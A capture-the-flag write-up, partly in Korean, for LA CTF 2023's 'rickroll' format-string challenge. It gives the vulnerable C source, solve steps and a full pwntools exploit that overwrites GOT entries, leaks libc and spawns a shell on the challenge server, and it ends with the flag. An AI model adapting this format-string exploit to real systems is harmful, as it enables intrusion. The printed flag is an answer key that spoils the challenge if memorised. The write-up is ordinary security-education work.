La CTF 2023 - rickroll (FSB)

Make your own custom rickroll with my new rickroll program!
nc lac.tf 31135

  • [90 solves / 449 points]

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

int main_called = 0;

int main(void) {
if (main_called) {
puts("nice try");
return 1;
}
main_called = 1;
setbuf(stdout, NULL);
printf("Lyrics: ");
char buf[256];
fgets(buf, 256, stdin);
printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
printf(buf);
printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
return 0;
}

소스코드가 간단하다. fsb가 터진다. 다만 익스할 때 주의해야 할 점은 main을 다시 실행시킬 때 main_called을 다시 0으로 세팅해줘야 한다.

Solve

  1. main_called을 0으로 세팅하고 puts@gotmain으로 overwrite -> main_called만 0으로 세팅해준다면 이제 계속 main이 반복해서 실행됨
  2. libc leak 및 main_called을 0으로 세팅
  3. main_called을 0으로 세팅하고 printf@gotsystem로 overwrie
  4. ‘/bin/sh\x00’을 입력

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.arch = 'amd64'
# context.log_level = 'DEBUG'

# p = process('./rickroll')
p = remote('lac.tf', 31135)
e = ELF('./rickroll')
libc = ELF('libc.so.6')

# for i in range(1, 80):
try:
# offset 6
payload = b''
payload += fmtstr_payload(6, {
e.sym['main_called'] : p8(0),
e.got['puts'] : e.symbols['main']
})

# pause()
p.sendlineafter('cs:', payload)

i = 11
info(hex(i))
payload = b''
payload += b'%8$hhn__' # 6
payload += b'%11$p' #+ i.to_bytes(1, 'big') + b'$p' # 7 16
payload += b'A' * (16-len(payload)) # padding
payload += p64(e.sym['main_called'])

pause()
p.sendlineafter('cs:', payload)
p.recvuntil('0x', timeout = 0.5)
libc.address = int(p.recv(12), 16) - 0x53d9b
info(hex(libc.address))

payload = b''
payload += fmtstr_payload(6, {
e.sym['main_called'] : p8(0),
e.got['printf'] : libc.symbols['system']
})

pause()
p.sendlineafter('cs:', payload)

payload = b''
payload += b'/bin/sh\x00'

p.sendlineafter('cs:', payload)

except Exception as ex:
print(ex)
p.close()
# p = process('./rickroll')
p = remote('lac.tf', 31135)

p.interactive()

도커파일이 제공되었음에도 로컬과 리모트 환경을 똑같이 맞춰주지 않고 로컬에서 먼저 쉘을 획득하고 리모트를 실행했. 당연히 실패했다. ㅋ 그래서 대충 브포로 leak 오프셋 맞춰주려고 했는데 잘 안되어서 그냥 patchelf 해줘서 문제를 풀었던 기억이 난다.

도커파일이 제공되면.. 환경부터 맞춰주는게 덜 귀찮은 것을 깨달았다.

그리고 fmtstr_payload은 동시에 여러개 덮을 수 있다는 점과 payload를 구성할 때 저 함수만 단독으로 써줘야하는 것을 깨달았다.

Flag

1
lactf{printf_gave_me_up_and_let_me_down}